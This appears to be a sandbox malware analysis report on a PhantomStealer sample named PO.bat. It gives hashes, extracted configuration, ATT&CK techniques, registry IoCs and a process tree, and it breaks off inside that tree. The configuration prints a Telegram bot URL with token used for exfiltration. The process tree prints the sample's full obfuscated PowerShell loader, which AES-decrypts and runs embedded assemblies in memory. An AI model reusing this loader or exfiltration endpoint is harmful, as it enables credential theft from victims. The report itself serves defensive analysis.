phantom_stealer | 1bd2d16f960f1f00108a70d0ab4f70e63294a3f0735aa1354259ce80527748ea

Analysis

max time kernel
149s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
11/05/2026, 14:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PO.bat
Size 770KB
Sample260511-rvxpracv4y
SHA256 1bd2d16f960f1f00108a70d0ab4f70e63294a3f0735aa1354259ce80527748ea
MD5 d6d307304d54128d602a2197ebf971e3
SHA1 2e3666d8ffa10c67e470f8c0062e51fec6709b27
SHA512 ac7ad61cd4464f599c48460f5e3fcccc8e0dd6b8a1960ebf529a99f7b23927f68a0483eac28bceaca06ba6283a5aec6feac67a57853abe88c5abe73f2babcdef
SSDEEP 24576:FgpEcY6oleENsUSt2ZDqjWWg3sAo68ANW:+8PA0DqjJt
TLSH
T1A5F423924BCF4EBD24F7C82E7A17776DF3828BF18BB5D5E80685708E106D94EAD40905
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution phantom_stealer persistence stealer

Malware Config

Extracted

Family

phantom_stealer

Version

v3.5.0

https://api.telegram.org/bot8525743193:AAFzcKe-c_Gl8aPJeRpTZX7VXqRcLiOSSPk/sendMessage?chat_id=7217111340

Mutex

OJ4LOG4CT9SG44FHNNJG

Attributes

anti_analysis
0
cb_enables_ssl
0
debug
1
keylogger
1
start_delay
0
startup
1

Signatures

Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
stealer phantom_stealer

Detects PhantomStealer written in C# 3 IoCs

resource	yara_rule
behavioral1/memory/2856-12-0x0000023047DF0000-0x0000023047EAE000-memory.dmp	family_phantomstealer
behavioral1/memory/1936-185-0x000001920EC40000-0x000001920ECFE000-memory.dmp	family_phantomstealer
behavioral1/memory/5800-257-0x000001A977D80000-0x000001A977E3E000-memory.dmp	family_phantomstealer

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
74	2856	powershell.exe
76	2856	powershell.exe
77	2856	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5504	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell = "C:\\Users\\Admin\\AppData\\Roaming\\powershell.exe"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2856	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
75	icanhazip.com

System Time Discovery 1 TTPs 3 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3468	chrome.exe
4552	msedge.exe
5732	chrome.exe

Checks processor information in registry 2 TTPs 20 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	powershell.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings	firefox.exe

Suspicious behavior: EnumeratesProcesses 47 IoCs

pid	Process
2856	powershell.exe
2856	powershell.exe
5504	powershell.exe
5504	powershell.exe
2856	powershell.exe
2856	powershell.exe
4260	chrome.exe
4260	chrome.exe
2856	powershell.exe
2856	powershell.exe
2856	powershell.exe
2856	powershell.exe
2856	powershell.exe
2856	powershell.exe
3284	firefox.exe
3284	firefox.exe
2856	powershell.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
2856	powershell.exe
2856	powershell.exe
2856	powershell.exe
2856	powershell.exe
7048	chrome.exe
7048	chrome.exe
7048	chrome.exe
2856	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeDebugPrivilege	5504	powershell.exe
Token: SeShutdownPrivilege	4260	chrome.exe
Token: SeCreatePagefilePrivilege	4260	chrome.exe

Suspicious use of FindShellTrayWindow 13 IoCs

pid	Process
4260	chrome.exe
4260	chrome.exe
5736	msedge.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
3284	firefox.exe
7048	chrome.exe
7048	chrome.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3284	firefox.exe
2856	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4644 wrote to memory of 2856	4644	cmd.exe	87
PID 2856 wrote to memory of 4260	2856	powershell.exe	92
PID 4260 wrote to memory of 4868	4260	chrome.exe	93
PID 4260 wrote to memory of 5948	4260	chrome.exe	94
PID 4260 wrote to memory of 3468	4260	chrome.exe	95
PID 4260 wrote to memory of 1936	4260	chrome.exe	96
PID 4260 wrote to memory of 2376	4260	chrome.exe	97
PID 4260 wrote to memory of 1172	4260	chrome.exe	98
PID 4260 wrote to memory of 5080	4260	chrome.exe	99
PID 4260 wrote to memory of 5000	4260	chrome.exe	100
PID 4260 wrote to memory of 3216	4260	chrome.exe	101
PID 2856 wrote to memory of 1936	2856	powershell.exe	96
PID 4260 wrote to memory of 624	4260	chrome.exe	103
PID 2856 wrote to memory of 1936	2856	powershell.exe	96
PID 2856 wrote to memory of 5736	2856	powershell.exe	107
PID 5736 wrote to memory of 5800	5736	msedge.exe	108
PID 2856 wrote to memory of 5800	2856	powershell.exe	108
PID 2856 wrote to memory of 5800	2856	powershell.exe	108
PID 5736 wrote to memory of 5768	5736	msedge.exe	109
PID 5736 wrote to memory of 4552	5736	msedge.exe	110
PID 5736 wrote to memory of 4576	5736	msedge.exe	111
PID 5736 wrote to memory of 4656	5736	msedge.exe	112
PID 5736 wrote to memory of 4828	5736	msedge.exe	113
PID 5736 wrote to memory of 6060	5736	msedge.exe	114
PID 5736 wrote to memory of 1692	5736	msedge.exe	115
PID 5736 wrote to memory of 6104	5736	msedge.exe	116
PID 5736 wrote to memory of 2552	5736	msedge.exe	117
PID 5736 wrote to memory of 5188	5736	msedge.exe	118
PID 5736 wrote to memory of 3888	5736	msedge.exe	119
PID 5736 wrote to memory of 3300	5736	msedge.exe	120
PID 5736 wrote to memory of 980	5736	msedge.exe	121
PID 5736 wrote to memory of 1724	5736	msedge.exe	122
PID 5736 wrote to memory of 2360	5736	msedge.exe	123
PID 5736 wrote to memory of 2296	5736	msedge.exe	124
PID 5736 wrote to memory of 1992	5736	msedge.exe	125
PID 5736 wrote to memory of 2864	5736	msedge.exe	126
PID 2856 wrote to memory of 2392	2856	powershell.exe	128
PID 2392 wrote to memory of 3284	2392	firefox.exe	129
PID 2392 wrote to memory of 3284	2392	firefox.exe	129
PID 3284 wrote to memory of 3316	3284	firefox.exe	132
PID 3284 wrote to memory of 3316	3284	firefox.exe	132
PID 3284 wrote to memory of 3316	3284	firefox.exe	132
PID 2856 wrote to memory of 2296	2856	powershell.exe	124
PID 2856 wrote to memory of 2296	2856	powershell.exe	124
PID 2856 wrote to memory of 6060	2856	powershell.exe	114
PID 2856 wrote to memory of 6060	2856	powershell.exe	114
PID 2856 wrote to memory of 3300	2856	powershell.exe	120
PID 2856 wrote to memory of 3300	2856	powershell.exe	120
PID 2856 wrote to memory of 1692	2856	powershell.exe	115
PID 2856 wrote to memory of 1692	2856	powershell.exe	115
PID 2856 wrote to memory of 4828	2856	powershell.exe	113
PID 2856 wrote to memory of 4828	2856	powershell.exe	113
PID 2856 wrote to memory of 6104	2856	powershell.exe	116
PID 2856 wrote to memory of 6104	2856	powershell.exe	116
PID 2856 wrote to memory of 2864	2856	powershell.exe	126
PID 2856 wrote to memory of 2864	2856	powershell.exe	126
PID 2856 wrote to memory of 4576	2856	powershell.exe	111
PID 2856 wrote to memory of 4576	2856	powershell.exe	111
PID 2856 wrote to memory of 5188	2856	powershell.exe	118
PID 3284 wrote to memory of 4648	3284	firefox.exe	133
PID 3284 wrote to memory of 4648	3284	firefox.exe	133
PID 3284 wrote to memory of 4648	3284	firefox.exe	133
PID 3284 wrote to memory of 4648	3284	firefox.exe	133
PID 2856 wrote to memory of 5188	2856	powershell.exe	118

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PO.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4644
- C:\Windows\system32\windowspowershell\v1.0\powershell.exe
  "C:\Windows\system32\windowspowershell\v1.0\powershell.exe" -w h -NoP -EP bypass -Command "function JWhhF($HBguE){ $BuSjs=New-Object System.IO.MemoryStream(,$HBguE); $pKszH=New-Object System.IO.MemoryStream; $QVWHm=New-Object System.IO.Compression.GZipStream($BuSjs, [IO.Compression.CompressionMode]::Decompress); $QVWHm.CopyTo($pKszH); $QVWHm.Dispose(); $BuSjs.Dispose(); $pKszH.Dispose(); $pKszH.ToArray();}function rnxZy($HBguE){ $GFgyM=[System.Security.Cryptography.Aes]::Create(); $GFgyM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $GFgyM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $GFgyM.Key=[System.Convert]::FromBase64String('P3b8w+XWvlb+xnmKZ0IX5gpqxjenZMthhOwCNx7s0ms='); $GFgyM.IV=[System.Convert]::FromBase64String('+kCZYyNRLWxH/gHcfoZbiw=='); $TnlmJ=$GFgyM.CreateDecryptor(); $vVMRk=$TnlmJ.TransformFinalBlock($HBguE, 0, $HBguE.Length); $TnlmJ.Dispose(); $GFgyM.Dispose(); $vVMRk;}function HhXJC($HBguE,$WHFAZ){ $VeLPH=[System.Reflection.Assembly]::Load([byte[]]$HBguE); $QEYtP=$VeLPH.EntryPoint; $QEYtP.Invoke($null, $WHFAZ);}$yIFuK = 'C:\Users\Admin\AppData\Local\Temp\PO.bat';$host.UI.RawUI.WindowTitle = $yIFuK;$VZfyP=[System.IO.File]::ReadAllText($yIFuK).Split([Environment]::NewLine);foreach ($MYBKT in $VZfyP) { if ($MYBKT.StartsWith('gTUwHhAwMtNdExrcOdcv')) { $aQvps=$MYBKT.Substring(20); break; }}$HzcLp=[string[]]$aQvps.Split('\');$LSNXi=JWhhF (rnxZy ([Convert]::FromBase64String($HzcLp[0].Replace('#', '/').Replace('@', 'A'))));$zEXWX=JWhhF (rnxZy ([Convert]::FromBase64String($HzcLp[1].Replace('#', '/').Replace('@', 'A'))));HhXJC $LSNXi $null;HhXJC $zEXWX (,[string[]] (''));"
  2⤵
  - Badlisted process makes network request
  - Accesses Microsoft Outlook profiles
  - Adds Run key to start application
  - Command and Scripting Interpreter: PowerShell
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:2856
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t0b0okvz.tyb"
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4260
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\t0b0okvz.tyb /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\t0b0okvz.tyb\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\t0b0okvz.tyb --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffaac1fc728,0x7ffaac1fc734,0x7ffaac1fc740
      4⤵
      PID:4868
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t0b0okvz.tyb" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1688,i,8286496346273614308,718612240034133328,262144 --field-trial-handle=1964,i,16220820037393122487,6416530681746067646,262144 --variations-seed-version --mojo-platform-channel-handle=1956 /prefetch:2
      4⤵
      PID:5948
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t0b0okvz.tyb" --force-high-res-timeticks=disabled --metrics-shmem-handle=2008,i,3667947894641537309,10563827823903079937,524288 --field-trial-handle=1964,i,16220820037393122487,6416530681746067646,262144 --variations-seed-version --mojo-platform-channel-handle=2264 /prefetch:3
      4⤵
      System Time Discovery
      PID:3468
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t0b0okvz.tyb" --force-high-res-timeticks=disabled --metrics-shmem-handle=2084,i,3878862415802873668,12075842796711851849,524288 --field-trial-handle=1964,i,16220820037393122487,6416530681746067646,262144 --variations-seed-version --mojo-platform-channel-handle=2292 /prefetch:8
      4⤵
      PID:1936
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t0b0okvz.tyb" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2892,i,17246154828634731360,15987387153395744672,2097152 --field-trial-handle=1964,i,16220820037393122487,6416530681746067646,262144 --variations-seed-version --mojo-platform-channel-handle=2964 /prefetch:1
      4⤵
      PID:2376
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t0b0okvz.tyb" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2896,i,9023694563613587508,233092286776976139,2097152 --field-trial-handle=1964,i,16220820037393122487,6416530681746067646,262144 --variations-seed-version --mojo-platform-channel-handle=1752 /prefetch:1
      4⤵
      PID:1172
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t0b0okvz.tyb" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3172,i,1463339470481995264,15450598791799961609,2097152 --field-trial-handle=1964,i,16220820037393122487,6416530681746067646,262144 --variations-seed-version --mojo-platform-channel-handle=3192 /prefetch:1
      4⤵
      PID:5080
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t0b0okvz.tyb" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3228,i,14822467726227724286,474002546764459132,2097152 --field-trial-handle=1964,i,16220820037393122487,6416530681746067646,262144 --variations-seed-version --mojo-platform-channel-handle=3160 /prefetch:2
      4⤵
      PID:5000
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t0b0okvz.tyb" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3492,i,958605598807646578,8296472799751407492,2097152 --field-trial-handle=1964,i,16220820037393122487,6416530681746067646,262144 --variations-seed-version --mojo-platform-channel-handle=3372 /prefetch:2
      4⤵
      PID:3216
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t0b0okvz.tyb" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4180,i,11473056314214653478,9621255934783224136,2097152 --field-trial-handle=1964,i,16220820037393122487,6416530681746067646,262144 --variations-seed-version --mojo-platform-channel-handle=4200 /prefetch:1
      4⤵
      PID:624
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p"
    3⤵
    - Enumerates system info in registry
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5736
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x248,0x7ffa960cc188,0x7ffa960cc194,0x7ffa960cc1a0
      4⤵
      PID:5800
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1736,i,15598961689695058798,4044237576098275302,262144 --field-trial-handle=2736,i,2090786321580243062,7789345602180168581,262144 --variations-seed-version --mojo-platform-channel-handle=2732 /prefetch:2
      4⤵
      PID:5768
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1928,i,1709516189235559957,15830880340252576670,524288 --field-trial-handle=2736,i,2090786321580243062,7789345602180168581,262144 --variations-seed-version --mojo-platform-channel-handle=2768 /prefetch:3
      4⤵
      System Time Discovery
      PID:4552
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2256,i,17362038858128744136,14578802689587281642,524288 --field-trial-handle=2736,i,2090786321580243062,7789345602180168581,262144 --variations-seed-version --mojo-platform-channel-handle=2784 /prefetch:8
      4⤵
      PID:4576
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3056,i,9484064633474139960,3642669750804294238,2097152 --field-trial-handle=2736,i,2090786321580243062,7789345602180168581,262144 --variations-seed-version --mojo-platform-channel-handle=3108 /prefetch:1
      4⤵
      PID:4656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3060,i,4832149007107530411,4107805851811868234,2097152 --field-trial-handle=2736,i,2090786321580243062,7789345602180168581,262144 --variations-seed-version --mojo-platform-channel-handle=3112 /prefetch:1
      4⤵
      PID:4828
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3512,i,11213972839369623748,1860998932200025857,524288 --field-trial-handle=2736,i,2090786321580243062,7789345602180168581,262144 --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:8
      4⤵
      PID:6060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3504,i,3441417838569670253,13794291240051481078,524288 --field-trial-handle=2736,i,2090786321580243062,7789345602180168581,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:8
      4⤵
      PID:1692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
